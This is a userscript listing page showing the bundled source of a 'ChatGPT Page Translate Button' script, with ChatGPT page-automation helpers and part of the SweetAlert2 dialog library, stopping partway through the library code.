ChatGPT 页面翻译按钮

🍓 让 ChatGPT 一键翻译您正在阅读的网页

当前为 2023-07-22 提交的版本,查看 最新版本

  1. // ==UserScript==
  2. // @name chatgpt-page-translate-button
  3. // @description 🍓 let ChatGPT translate the web page you are reading in one click
  4. // @author mefengl
  5. // @version 0.6.2
  6. // @namespace https://github.com/mefengl
  7. // @require https://cdn.jsdelivr.net/npm/@mozilla/readability@0.4.3/Readability.min.js
  8. // @icon https://www.google.com/s2/favicons?sz=64&domain=openai.com
  9. // @license MIT
  10. // @match *://*/*
  11. // @grant GM_setValue
  12. // @grant GM_getValue
  13. // @grant GM_registerMenuCommand
  14. // @grant GM_unregisterMenuCommand
  15. // @grant GM_addValueChangeListener
  16.  
  17. // @name:en ChatGPT Page Translate Button
  18. // @description:en 🍓 let ChatGPT translate the web page you are reading in one click
  19. // @name:zh-CN ChatGPT 页面翻译按钮
  20. // @description:zh-CN 🍓 让 ChatGPT 一键翻译您正在阅读的网页
  21. // @name:es Botón de traducción de página de ChatGPT
  22. // @description:es 🍓 permite que ChatGPT traduzca la página web que estás leyendo con un solo clic
  23. // @name:hi ChatGPT पृष्ठ अनुवाद बटन
  24. // @description:hi 🍓 ChatGPT को वेबपेज जो आप पढ़ रहे हैं को एक क्लिक में अनुवाद करने दें
  25. // @name:ar زر ترجمة الصفحة لـ ChatGPT
  26. // @description:ar 🍓 دع ChatGPT يترجم صفحة الويب التي تقرأها بنقرة واحدة
  27. // @name:pt Botão de tradução de página do ChatGPT
  28. // @description:pt 🍓 permita que o ChatGPT traduza a página da web que você está lendo com um clique
  29. // @name:ru Кнопка перевода страницы ChatGPT
  30. // @description:ru 🍓 позволяет ChatGPT переводить веб-страницу, которую вы читаете, одним щелчком мыши
  31. // @name:ja ChatGPTページ翻訳ボタン
  32. // @description:ja 🍓 ChatGPTで読んでいるWebページをワンクリックで翻訳
  33. // @name:de ChatGPT-Seitenübersetzungs-Button
  34. // @description:de 🍓 Lassen Sie ChatGPT die Webseite, die Sie gerade lesen, mit einem Klick übersetzen
  35. // @name:fr Bouton de traduction de page ChatGPT
  36. // @description:fr 🍓 laissez ChatGPT traduire la page Web que vous lisez en un seul clic
  37. // ==/UserScript==
  38. "use strict";
  39. (() => {
  40. var __create = Object.create;
  41. var __defProp = Object.defineProperty;
  42. var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
  43. var __getOwnPropNames = Object.getOwnPropertyNames;
  44. var __getProtoOf = Object.getPrototypeOf;
  45. var __hasOwnProp = Object.prototype.hasOwnProperty;
  46. var __commonJS = (cb, mod) => function __require() {
  47. return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
  48. };
  49. var __copyProps = (to, from, except, desc) => {
  50. if (from && typeof from === "object" || typeof from === "function") {
  51. for (let key of __getOwnPropNames(from))
  52. if (!__hasOwnProp.call(to, key) && key !== except)
  53. __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
  54. }
  55. return to;
  56. };
  57. var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
  58. // If the importer is in node compatibility mode or this is not an ESM
  59. // file that has been converted to a CommonJS file using a Babel-
  60. // compatible transform (i.e. "__esModule" has not been set), then set
  61. // "default" to the CommonJS "module.exports" for node compatibility.
  62. isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
  63. mod
  64. ));
  65. var __async = (__this, __arguments, generator) => {
  66. return new Promise((resolve, reject) => {
  67. var fulfilled = (value) => {
  68. try {
  69. step(generator.next(value));
  70. } catch (e) {
  71. reject(e);
  72. }
  73. };
  74. var rejected = (value) => {
  75. try {
  76. step(generator.throw(value));
  77. } catch (e) {
  78. reject(e);
  79. }
  80. };
  81. var step = (x) => x.done ? resolve(x.value) : Promise.resolve(x.value).then(fulfilled, rejected);
  82. step((generator = generator.apply(__this, __arguments)).next());
  83. });
  84. };
  85.  
  86. // ../../packages/chatkit/dist/chatgpt/index.js
  87. var require_chatgpt = __commonJS({
  88. "../../packages/chatkit/dist/chatgpt/index.js"(exports, module) {
  89. "use strict";
  90. var __defProp2 = Object.defineProperty;
  91. var __getOwnPropDesc2 = Object.getOwnPropertyDescriptor;
  92. var __getOwnPropNames2 = Object.getOwnPropertyNames;
  93. var __hasOwnProp2 = Object.prototype.hasOwnProperty;
  94. var __export = (target, all) => {
  95. for (var name in all)
  96. __defProp2(target, name, { get: all[name], enumerable: true });
  97. };
  98. var __copyProps2 = (to, from, except, desc) => {
  99. if (from && typeof from === "object" || typeof from === "function") {
  100. for (let key of __getOwnPropNames2(from))
  101. if (!__hasOwnProp2.call(to, key) && key !== except)
  102. __defProp2(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc2(from, key)) || desc.enumerable });
  103. }
  104. return to;
  105. };
  106. var __toCommonJS = (mod) => __copyProps2(__defProp2({}, "__esModule", { value: true }), mod);
  107. var chatgpt_exports = {};
  108. __export(chatgpt_exports, {
  109. getContinueGeneratingButton: () => getContinueGeneratingButton,
  110. getConversation: () => getConversation,
  111. getHistoryBlockTitle: () => getHistoryBlockTitle,
  112. getHistoryBlocks: () => getHistoryBlocks,
  113. getHistoryBlocksWithTitle: () => getHistoryBlocksWithTitle,
  114. getLastResponse: () => getLastResponse,
  115. getLastResponseElement: () => getLastResponseElement,
  116. getModelSelectButton: () => getModelSelectButton,
  117. getNav: () => getNav,
  118. getNewModelSelectButtons: () => getNewModelSelectButtons,
  119. getRegenerateButton: () => getRegenerateButton,
  120. getStopGeneratingButton: () => getStopGeneratingButton,
  121. getSubmitButton: () => getSubmitButton,
  122. getTextarea: () => getTextarea,
  123. getTextareaValue: () => getTextareaValue,
  124. hasNewModelSelectButtons: () => hasNewModelSelectButtons,
  125. isConversationStarted: () => isConversationStarted,
  126. isGenerating: () => isGenerating,
  127. isHorizontalConversation: () => isHorizontalConversation,
  128. onSend: () => onSend,
  129. regenerate: () => regenerate,
  130. send: () => send,
  131. setHorizontalConversation: () => setHorizontalConversation,
  132. setPromptListener: () => setPromptListener2,
  133. setPureConversation: () => setPureConversation,
  134. setTextarea: () => setTextarea,
  135. waitForIdle: () => waitForIdle
  136. });
  137. module.exports = __toCommonJS(chatgpt_exports);
  138. function getNav() {
  139. return document.querySelector("nav");
  140. }
  141. function getHistoryBlocks() {
  142. const nav = getNav();
  143. if (!nav)
  144. return [];
  145. const result = Array.from(nav.querySelectorAll("ol")).map((ol) => ol.parentElement);
  146. return result;
  147. }
  148. function getHistoryBlockTitle(historyBlock) {
  149. var _a;
  150. return ((_a = historyBlock.querySelector("h3")) == null ? void 0 : _a.textContent) || "";
  151. }
  152. function getHistoryBlocksWithTitle() {
  153. const historyBlocks = getHistoryBlocks();
  154. const result = historyBlocks.map((historyBlock) => ({
  155. block: historyBlock,
  156. title: getHistoryBlockTitle(historyBlock)
  157. }));
  158. return result;
  159. }
  160. function getTextarea() {
  161. const form = document.querySelector("form");
  162. if (!form)
  163. return;
  164. const textareas = form.querySelectorAll("textarea");
  165. const result = textareas[0];
  166. return result;
  167. }
  168. function getSubmitButton() {
  169. const textarea = getTextarea();
  170. if (!textarea)
  171. return;
  172. return textarea.nextElementSibling;
  173. }
  174. function getRegenerateButton() {
  175. const form = document.querySelector("form");
  176. if (!form)
  177. return;
  178. const buttons = form.querySelectorAll("button");
  179. const result = Array.from(buttons).find((button) => {
  180. var _a;
  181. return (_a = button.textContent) == null ? void 0 : _a.trim().toLowerCase().includes("regenerate");
  182. });
  183. return result;
  184. }
  185. function getContinueGeneratingButton() {
  186. const form = document.querySelector("form");
  187. if (!form)
  188. return;
  189. const buttons = form.querySelectorAll("button");
  190. const result = Array.from(buttons).find((button) => {
  191. var _a;
  192. return (_a = button.textContent) == null ? void 0 : _a.trim().toLowerCase().includes("continue generating");
  193. });
  194. return result;
  195. }
  196. function getStopGeneratingButton() {
  197. const form = document.querySelector("form");
  198. if (!form)
  199. return;
  200. const buttons = form.querySelectorAll("button");
  201. const result = Array.from(buttons).find((button) => {
  202. var _a;
  203. return (_a = button.textContent) == null ? void 0 : _a.trim().toLowerCase().includes("stop generating");
  204. });
  205. return result;
  206. }
  207. function getLastResponseElement() {
  208. const responseElements = document.querySelectorAll(".group.w-full");
  209. return responseElements[responseElements.length - 1];
  210. }
  211. function getLastResponse() {
  212. const lastResponseElement = getLastResponseElement();
  213. if (!lastResponseElement)
  214. return;
  215. const lastResponse = lastResponseElement.textContent;
  216. return lastResponse;
  217. }
  218. function getTextareaValue() {
  219. var _a;
  220. return ((_a = getTextarea()) == null ? void 0 : _a.value) || "";
  221. }
  222. function setTextarea(message) {
  223. const textarea = getTextarea();
  224. if (!textarea)
  225. return;
  226. textarea.value = message;
  227. textarea.dispatchEvent(new Event("input", { bubbles: true }));
  228. }
  229. function send(message) {
  230. return __async(this, null, function* () {
  231. setTextarea(message);
  232. const textarea = getTextarea();
  233. if (!textarea)
  234. return;
  235. while (textarea.value === message) {
  236. textarea.dispatchEvent(new KeyboardEvent("keydown", { key: "Enter", bubbles: true }));
  237. yield new Promise((resolve) => setTimeout(resolve, 100));
  238. }
  239. });
  240. }
  241. function regenerate() {
  242. const regenerateButton = getRegenerateButton();
  243. if (!regenerateButton)
  244. return;
  245. regenerateButton.click();
  246. }
  247. function onSend(callback) {
  248. const textarea = getTextarea();
  249. if (!textarea)
  250. return;
  251. textarea.addEventListener("keydown", function(event) {
  252. if (event.key === "Enter" && !event.shiftKey) {
  253. callback();
  254. }
  255. });
  256. const sendButton = getSubmitButton();
  257. if (!sendButton)
  258. return;
  259. sendButton.addEventListener("mousedown", callback);
  260. }
  261. function isGenerating() {
  262. var _a, _b;
  263. return ((_b = (_a = getSubmitButton()) == null ? void 0 : _a.firstElementChild) == null ? void 0 : _b.childElementCount) === 3;
  264. }
  265. function waitForIdle() {
  266. return new Promise((resolve) => {
  267. const interval = setInterval(() => {
  268. if (!isGenerating()) {
  269. clearInterval(interval);
  270. resolve();
  271. }
  272. }, 1e3);
  273. });
  274. }
  275. function setPromptListener2(key = "prompt_texts") {
  276. let last_trigger_time = +/* @__PURE__ */ new Date();
  277. if (location.href.includes("chat.openai")) {
  278. GM_addValueChangeListener(key, (name, old_value, new_value) => __async(this, null, function* () {
  279. if (+/* @__PURE__ */ new Date() - last_trigger_time < 500) {
  280. return;
  281. }
  282. last_trigger_time = +/* @__PURE__ */ new Date();
  283. setTimeout(() => __async(this, null, function* () {
  284. var _a;
  285. const prompt_texts = new_value;
  286. const isLong = prompt_texts.length > 60;
  287. if (prompt_texts.length > 0) {
  288. let firstTime = true;
  289. while (prompt_texts.length > 0) {
  290. const waitTime = isLong && !document.hasFocus() ? 30 * 1e3 : 2e3;
  291. if (!firstTime) {
  292. yield new Promise((resolve) => setTimeout(resolve, waitTime));
  293. }
  294. if (!firstTime && isGenerating()) {
  295. continue;
  296. } else if (getContinueGeneratingButton()) {
  297. (_a = getContinueGeneratingButton()) == null ? void 0 : _a.click();
  298. continue;
  299. }
  300. firstTime = false;
  301. yield send(prompt_texts.shift() || "");
  302. }
  303. }
  304. }), 0);
  305. GM_setValue(key, []);
  306. }));
  307. }
  308. }
  309. function getConversation() {
  310. var _a, _b;
  311. return (_b = (_a = document.querySelector('div[class^="react-scroll-to-bottom"]')) == null ? void 0 : _a.firstChild) == null ? void 0 : _b.firstChild;
  312. }
  313. function getModelSelectButton() {
  314. const conversation = getConversation();
  315. if (!conversation)
  316. return;
  317. return Array.from(conversation.querySelectorAll("button")).find((button) => {
  318. var _a;
  319. return (_a = button.textContent) == null ? void 0 : _a.trim().toLowerCase().includes("model");
  320. });
  321. }
  322. function getNewModelSelectButtons() {
  323. return Array.from(document.querySelectorAll("[class^='group/button']"));
  324. }
  325. function hasNewModelSelectButtons() {
  326. return getNewModelSelectButtons().length > 0;
  327. }
  328. function isConversationStarted() {
  329. return !getModelSelectButton();
  330. }
  331. function setPureConversation() {
  332. const conversation = getConversation();
  333. if (!conversation)
  334. return;
  335. const firstChild = conversation.firstChild;
  336. if (!firstChild)
  337. return;
  338. const newDiv = document.createElement("div");
  339. conversation.insertBefore(newDiv, firstChild.nextSibling);
  340. }
  341. function isHorizontalConversation() {
  342. const conversation = getConversation();
  343. if (!conversation)
  344. return true;
  345. if (!isConversationStarted())
  346. return true;
  347. return conversation.classList.contains("grid");
  348. }
  349. function setHorizontalConversation() {
  350. if (isHorizontalConversation())
  351. return;
  352. setPureConversation();
  353. const conversation = getConversation();
  354. if (!conversation)
  355. return;
  356. conversation.classList.remove("flex", "flex-col", "items-center");
  357. conversation.classList.add("grid", "grid-cols-2", "place-items-center");
  358. }
  359. }
  360. });
  361.  
  362. // ../../packages/chatkit/chatgpt.js
  363. var require_chatgpt2 = __commonJS({
  364. "../../packages/chatkit/chatgpt.js"(exports, module) {
  365. module.exports = require_chatgpt();
  366. }
  367. });
  368.  
  369. // ../../node_modules/.pnpm/sweetalert2@11.7.18/node_modules/sweetalert2/dist/sweetalert2.all.js
  370. var require_sweetalert2_all = __commonJS({
  371. "../../node_modules/.pnpm/sweetalert2@11.7.18/node_modules/sweetalert2/dist/sweetalert2.all.js"(exports, module) {
  372. (function(global, factory) {
  373. typeof exports === "object" && typeof module !== "undefined" ? module.exports = factory() : typeof define === "function" && define.amd ? define(factory) : (global = typeof globalThis !== "undefined" ? globalThis : global || self, global.Sweetalert2 = factory());
  374. })(exports, function() {
  375. "use strict";
  376. const RESTORE_FOCUS_TIMEOUT = 100;
  377. const globalState = {};
  378. const focusPreviousActiveElement = () => {
  379. if (globalState.previousActiveElement instanceof HTMLElement) {
  380. globalState.previousActiveElement.focus();
  381. globalState.previousActiveElement = null;
  382. } else if (document.body) {
  383. document.body.focus();
  384. }
  385. };
  386. const restoreActiveElement = (returnFocus) => {
  387. return new Promise((resolve) => {
  388. if (!returnFocus) {
  389. return resolve();
  390. }
  391. const x = window.scrollX;
  392. const y = window.scrollY;
  393. globalState.restoreFocusTimeout = setTimeout(() => {
  394. focusPreviousActiveElement();
  395. resolve();
  396. }, RESTORE_FOCUS_TIMEOUT);
  397. window.scrollTo(x, y);
  398. });
  399. };
  400. var privateProps = {
  401. promise: /* @__PURE__ */ new WeakMap(),
  402. innerParams: /* @__PURE__ */ new WeakMap(),
  403. domCache: /* @__PURE__ */ new WeakMap()
  404. };
  405. const swalPrefix = "swal2-";
  406. const classNames = ["container", "shown", "height-auto", "iosfix", "popup", "modal", "no-backdrop", "no-transition", "toast", "toast-shown", "show", "hide", "close", "title", "html-container", "actions", "confirm", "deny", "cancel", "default-outline", "footer", "icon", "icon-content", "image", "input", "file", "range", "select", "radio", "checkbox", "label", "textarea", "inputerror", "input-label", "validation-message", "progress-steps", "active-progress-step", "progress-step", "progress-step-line", "loader", "loading", "styled", "top", "top-start", "top-end", "top-left", "top-right", "center", "center-start", "center-end", "center-left", "center-right", "bottom", "bottom-start", "bottom-end", "bottom-left", "bottom-right", "grow-row", "grow-column", "grow-fullscreen", "rtl", "timer-progress-bar", "timer-progress-bar-container", "scrollbar-measure", "icon-success", "icon-warning", "icon-info", "icon-question", "icon-error"];
  407. const swalClasses = classNames.reduce(
  408. (acc, className) => {
  409. acc[className] = swalPrefix + className;
  410. return acc;
  411. },
  412. /** @type {SwalClasses} */
  413. {}
  414. );
  415. const icons = ["success", "warning", "info", "question", "error"];
  416. const iconTypes = icons.reduce(
  417. (acc, icon) => {
  418. acc[icon] = swalPrefix + icon;
  419. return acc;
  420. },
  421. /** @type {SwalIcons} */
  422. {}
  423. );
  424. const consolePrefix = "SweetAlert2:";
  425. const capitalizeFirstLetter = (str) => str.charAt(0).toUpperCase() + str.slice(1);
  426. const warn = (message) => {
  427. console.warn(`${consolePrefix} ${typeof message === "object" ? message.join(" ") : message}`);
  428. };
  429. const error = (message) => {
  430. console.error(`${consolePrefix} ${message}`);
  431. };
  432. const previousWarnOnceMessages = [];
  433. const warnOnce = (message) => {
  434. if (!previousWarnOnceMessages.includes(message)) {
  435. previousWarnOnceMessages.push(message);
  436. warn(message);
  437. }
  438. };
  439. const warnAboutDeprecation = (deprecatedParam, useInstead) => {
  440. warnOnce(`"${deprecatedParam}" is deprecated and will be removed in the next major release. Please use "${useInstead}" instead.`);
  441. };
  442. const callIfFunction = (arg) => typeof arg === "function" ? arg() : arg;
  443. const hasToPromiseFn = (arg) => arg && typeof arg.toPromise === "function";
  444. const asPromise = (arg) => hasToPromiseFn(arg) ? arg.toPromise() : Promise.resolve(arg);
  445. const isPromise = (arg) => arg && Promise.resolve(arg) === arg;
  446. const getContainer = () => document.body.querySelector(`.${swalClasses.container}`);
  447. const elementBySelector = (selectorString) => {
  448. const container = getContainer();
  449. return container ? container.querySelector(selectorString) : null;
  450. };
  451. const elementByClass = (className) => {
  452. return elementBySelector(`.${className}`);
  453. };
  454. const getPopup = () => elementByClass(swalClasses.popup);
  455. const getIcon = () => elementByClass(swalClasses.icon);
  456. const getIconContent = () => elementByClass(swalClasses["icon-content"]);
  457. const getTitle = () => elementByClass(swalClasses.title);
  458. const getHtmlContainer = () => elementByClass(swalClasses["html-container"]);
  459. const getImage = () => elementByClass(swalClasses.image);
  460. const getProgressSteps = () => elementByClass(swalClasses["progress-steps"]);
  461. const getValidationMessage = () => elementByClass(swalClasses["validation-message"]);
  462. const getConfirmButton = () => (
  463. /** @type {HTMLButtonElement} */
  464. elementBySelector(`.${swalClasses.actions} .${swalClasses.confirm}`)
  465. );
  466. const getCancelButton = () => (
  467. /** @type {HTMLButtonElement} */
  468. elementBySelector(`.${swalClasses.actions} .${swalClasses.cancel}`)
  469. );
  470. const getDenyButton = () => (
  471. /** @type {HTMLButtonElement} */
  472. elementBySelector(`.${swalClasses.actions} .${swalClasses.deny}`)
  473. );
  474. const getInputLabel = () => elementByClass(swalClasses["input-label"]);
  475. const getLoader = () => elementBySelector(`.${swalClasses.loader}`);
  476. const getActions = () => elementByClass(swalClasses.actions);
  477. const getFooter = () => elementByClass(swalClasses.footer);
  478. const getTimerProgressBar = () => elementByClass(swalClasses["timer-progress-bar"]);
  479. const getCloseButton = () => elementByClass(swalClasses.close);
  480. const focusable = `
  481. a[href],
  482. area[href],
  483. input:not([disabled]),
  484. select:not([disabled]),
  485. textarea:not([disabled]),
  486. button:not([disabled]),
  487. iframe,
  488. object,
  489. embed,
  490. [tabindex="0"],
  491. [contenteditable],
  492. audio[controls],
  493. video[controls],
  494. summary
  495. `;
  496. const getFocusableElements = () => {
  497. const popup = getPopup();
  498. if (!popup) {
  499. return [];
  500. }
  501. const focusableElementsWithTabindex = popup.querySelectorAll('[tabindex]:not([tabindex="-1"]):not([tabindex="0"])');
  502. const focusableElementsWithTabindexSorted = Array.from(focusableElementsWithTabindex).sort((a, b) => {
  503. const tabindexA = parseInt(a.getAttribute("tabindex") || "0");
  504. const tabindexB = parseInt(b.getAttribute("tabindex") || "0");
  505. if (tabindexA > tabindexB) {
  506. return 1;
  507. } else if (tabindexA < tabindexB) {
  508. return -1;
  509. }
  510. return 0;
  511. });
  512. const otherFocusableElements = popup.querySelectorAll(focusable);
  513. const otherFocusableElementsFiltered = Array.from(otherFocusableElements).filter((el) => el.getAttribute("tabindex") !== "-1");
  514. return [...new Set(focusableElementsWithTabindexSorted.concat(otherFocusableElementsFiltered))].filter((el) => isVisible$1(el));
  515. };
  516. const isModal = () => {
  517. return hasClass(document.body, swalClasses.shown) && !hasClass(document.body, swalClasses["toast-shown"]) && !hasClass(document.body, swalClasses["no-backdrop"]);
  518. };
  519. const isToast = () => {
  520. const popup = getPopup();
  521. if (!popup) {
  522. return false;
  523. }
  524. return hasClass(popup, swalClasses.toast);
  525. };
  526. const isLoading = () => {
  527. const popup = getPopup();
  528. if (!popup) {
  529. return false;
  530. }
  531. return popup.hasAttribute("data-loading");
  532. };
  533. const setInnerHtml = (elem, html) => {
  534. elem.textContent = "";
  535. if (html) {
  536. const parser = new DOMParser();
  537. const parsed = parser.parseFromString(html, `text/html`);
  538. Array.from(parsed.querySelector("head").childNodes).forEach((child) => {
  539. elem.appendChild(child);
  540. });
  541. Array.from(parsed.querySelector("body").childNodes).forEach((child) => {
  542. if (child instanceof HTMLVideoElement || child instanceof HTMLAudioElement) {
  543. elem.appendChild(child.cloneNode(true));
  544. } else {
  545. elem.appendChild(child);
  546. }
  547. });
  548. }
  549. };
  550. const hasClass = (elem, className) => {
  551. if (!className) {
  552. return false;
  553. }
  554. const classList = className.split(/\s+/);
  555. for (let i = 0; i < classList.length; i++) {
  556. if (!elem.classList.contains(classList[i])) {
  557. return false;
  558. }
  559. }
  560. return true;
  561. };
  562. const removeCustomClasses = (elem, params) => {
  563. Array.from(elem.classList).forEach((className) => {
  564. if (!Object.values(swalClasses).includes(className) && !Object.values(iconTypes).includes(className) && !Object.values(params.showClass).includes(className)) {
  565. elem.classList.remove(className);
  566. }
  567. });
  568. };
  569. const applyCustomClass = (elem, params, className) => {
  570. removeCustomClasses(elem, params);
  571. if (params.customClass && params.customClass[className]) {
  572. if (typeof params.customClass[className] !== "string" && !params.customClass[className].forEach) {
  573. warn(`Invalid type of customClass.${className}! Expected string or iterable object, got "${typeof params.customClass[className]}"`);
  574. return;
  575. }
  576. addClass(elem, params.customClass[className]);
  577. }
  578. };
  579. const getInput$1 = (popup, inputClass) => {
  580. if (!inputClass) {
  581. return null;
  582. }
  583. switch (inputClass) {
  584. case "select":
  585. case "textarea":
  586. case "file":
  587. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses[inputClass]}`);
  588. case "checkbox":
  589. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.checkbox} input`);
  590. case "radio":
  591. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:checked`) || popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:first-child`);
  592. case "range":
  593. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.range} input`);
  594. default:
  595. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.input}`);
  596. }
  597. };
  598. const focusInput = (input) => {
  599. input.focus();
  600. if (input.type !== "file") {
  601. const val = input.value;
  602. input.value = "";
  603. input.value = val;
  604. }
  605. };
  606. const toggleClass = (target, classList, condition) => {
  607. if (!target || !classList) {
  608. return;
  609. }
  610. if (typeof classList === "string") {
  611. classList = classList.split(/\s+/).filter(Boolean);
  612. }
  613. classList.forEach((className) => {
  614. if (Array.isArray(target)) {
  615. target.forEach((elem) => {
  616. condition ? elem.classList.add(className) : elem.classList.remove(className);
  617. });
  618. } else {
  619. condition ? target.classList.add(className) : target.classList.remove(className);
  620. }
  621. });
  622. };
  623. const addClass = (target, classList) => {
  624. toggleClass(target, classList, true);
  625. };
  626. const removeClass = (target, classList) => {
  627. toggleClass(target, classList, false);
  628. };
  629. const getDirectChildByClass = (elem, className) => {
  630. const children = Array.from(elem.children);
  631. for (let i = 0; i < children.length; i++) {
  632. const child = children[i];
  633. if (child instanceof HTMLElement && hasClass(child, className)) {
  634. return child;
  635. }
  636. }
  637. };
  638. const applyNumericalStyle = (elem, property, value) => {
  639. if (value === `${parseInt(value)}`) {
  640. value = parseInt(value);
  641. }
  642. if (value || parseInt(value) === 0) {
  643. elem.style[property] = typeof value === "number" ? `${value}px` : value;
  644. } else {
  645. elem.style.removeProperty(property);
  646. }
  647. };
  648. const show = function(elem) {
  649. let display = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : "flex";
  650. elem && (elem.style.display = display);
  651. };
  652. const hide = (elem) => {
  653. elem && (elem.style.display = "none");
  654. };
  655. const setStyle = (parent, selector, property, value) => {
  656. const el = parent.querySelector(selector);
  657. if (el) {
  658. el.style[property] = value;
  659. }
  660. };
  661. const toggle = function(elem, condition) {
  662. let display = arguments.length > 2 && arguments[2] !== void 0 ? arguments[2] : "flex";
  663. condition ? show(elem, display) : hide(elem);
  664. };
  665. const isVisible$1 = (elem) => !!(elem && (elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length));
  666. const allButtonsAreHidden = () => !isVisible$1(getConfirmButton()) && !isVisible$1(getDenyButton()) && !isVisible$1(getCancelButton());
  667. const isScrollable = (elem) => !!(elem.scrollHeight > elem.clientHeight);
  668. const hasCssAnimation = (elem) => {
  669. const style = window.getComputedStyle(elem);
  670. const animDuration = parseFloat(style.getPropertyValue("animation-duration") || "0");
  671. const transDuration = parseFloat(style.getPropertyValue("transition-duration") || "0");
  672. return animDuration > 0 || transDuration > 0;
  673. };
  674. const animateTimerProgressBar = function(timer) {
  675. let reset = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : false;
  676. const timerProgressBar = getTimerProgressBar();
  677. if (isVisible$1(timerProgressBar)) {
  678. if (reset) {
  679. timerProgressBar.style.transition = "none";
  680. timerProgressBar.style.width = "100%";
  681. }
  682. setTimeout(() => {
  683. timerProgressBar.style.transition = `width ${timer / 1e3}s linear`;
  684. timerProgressBar.style.width = "0%";
  685. }, 10);
  686. }
  687. };
  688. const stopTimerProgressBar = () => {
  689. const timerProgressBar = getTimerProgressBar();
  690. const timerProgressBarWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
  691. timerProgressBar.style.removeProperty("transition");
  692. timerProgressBar.style.width = "100%";
  693. const timerProgressBarFullWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
  694. const timerProgressBarPercent = timerProgressBarWidth / timerProgressBarFullWidth * 100;
  695. timerProgressBar.style.width = `${timerProgressBarPercent}%`;
  696. };
  697. const isNodeEnv = () => typeof window === "undefined" || typeof document === "undefined";
  698. const sweetHTML = `
  699. <div aria-labelledby="${swalClasses.title}" aria-describedby="${swalClasses["html-container"]}" class="${swalClasses.popup}" tabindex="-1">
  700. <button type="button" class="${swalClasses.close}"></button>
  701. <ul class="${swalClasses["progress-steps"]}"></ul>
  702. <div class="${swalClasses.icon}"></div>
  703. <img class="${swalClasses.image}" />
  704. <h2 class="${swalClasses.title}" id="${swalClasses.title}"></h2>
  705. <div class="${swalClasses["html-container"]}" id="${swalClasses["html-container"]}"></div>
  706. <input class="${swalClasses.input}" id="${swalClasses.input}" />
  707. <input type="file" class="${swalClasses.file}" />
  708. <div class="${swalClasses.range}">
  709. <input type="range" />
  710. <output></output>
  711. </div>
  712. <select class="${swalClasses.select}" id="${swalClasses.select}"></select>
  713. <div class="${swalClasses.radio}"></div>
  714. <label class="${swalClasses.checkbox}">
  715. <input type="checkbox" id="${swalClasses.checkbox}" />
  716. <span class="${swalClasses.label}"></span>
  717. </label>
  718. <textarea class="${swalClasses.textarea}" id="${swalClasses.textarea}"></textarea>
  719. <div class="${swalClasses["validation-message"]}" id="${swalClasses["validation-message"]}"></div>
  720. <div class="${swalClasses.actions}">
  721. <div class="${swalClasses.loader}"></div>
  722. <button type="button" class="${swalClasses.confirm}"></button>
  723. <button type="button" class="${swalClasses.deny}"></button>
  724. <button type="button" class="${swalClasses.cancel}"></button>
  725. </div>
  726. <div class="${swalClasses.footer}"></div>
  727. <div class="${swalClasses["timer-progress-bar-container"]}">
  728. <div class="${swalClasses["timer-progress-bar"]}"></div>
  729. </div>
  730. </div>
  731. `.replace(/(^|\n)\s*/g, "");
  732. const resetOldContainer = () => {
  733. const oldContainer = getContainer();
  734. if (!oldContainer) {
  735. return false;
  736. }
  737. oldContainer.remove();
  738. removeClass([document.documentElement, document.body], [swalClasses["no-backdrop"], swalClasses["toast-shown"], swalClasses["has-column"]]);
  739. return true;
  740. };
  741. const resetValidationMessage$1 = () => {
  742. globalState.currentInstance.resetValidationMessage();
  743. };
  744. const addInputChangeListeners = () => {
  745. const popup = getPopup();
  746. const input = getDirectChildByClass(popup, swalClasses.input);
  747. const file = getDirectChildByClass(popup, swalClasses.file);
  748. const range = popup.querySelector(`.${swalClasses.range} input`);
  749. const rangeOutput = popup.querySelector(`.${swalClasses.range} output`);
  750. const select = getDirectChildByClass(popup, swalClasses.select);
  751. const checkbox = popup.querySelector(`.${swalClasses.checkbox} input`);
  752. const textarea = getDirectChildByClass(popup, swalClasses.textarea);
  753. input.oninput = resetValidationMessage$1;
  754. file.onchange = resetValidationMessage$1;
  755. select.onchange = resetValidationMessage$1;
  756. checkbox.onchange = resetValidationMessage$1;
  757. textarea.oninput = resetValidationMessage$1;
  758. range.oninput = () => {
  759. resetValidationMessage$1();
  760. rangeOutput.value = range.value;
  761. };
  762. range.onchange = () => {
  763. resetValidationMessage$1();
  764. rangeOutput.value = range.value;
  765. };
  766. };
  767. const getTarget = (target) => typeof target === "string" ? document.querySelector(target) : target;
  768. const setupAccessibility = (params) => {
  769. const popup = getPopup();
  770. popup.setAttribute("role", params.toast ? "alert" : "dialog");
  771. popup.setAttribute("aria-live", params.toast ? "polite" : "assertive");
  772. if (!params.toast) {
  773. popup.setAttribute("aria-modal", "true");
  774. }
  775. };
  776. const setupRTL = (targetElement) => {
  777. if (window.getComputedStyle(targetElement).direction === "rtl") {
  778. addClass(getContainer(), swalClasses.rtl);
  779. }
  780. };
  781. const init = (params) => {
  782. const oldContainerExisted = resetOldContainer();
  783. if (isNodeEnv()) {
  784. error("SweetAlert2 requires document to initialize");
  785. return;
  786. }
  787. const container = document.createElement("div");
  788. container.className = swalClasses.container;
  789. if (oldContainerExisted) {
  790. addClass(container, swalClasses["no-transition"]);
  791. }
  792. setInnerHtml(container, sweetHTML);
  793. const targetElement = getTarget(params.target);
  794. targetElement.appendChild(container);
  795. setupAccessibility(params);
  796. setupRTL(targetElement);
  797. addInputChangeListeners();
  798. };
  799. const parseHtmlToContainer = (param, target) => {
  800. if (param instanceof HTMLElement) {
  801. target.appendChild(param);
  802. } else if (typeof param === "object") {
  803. handleObject(param, target);
  804. } else if (param) {
  805. setInnerHtml(target, param);
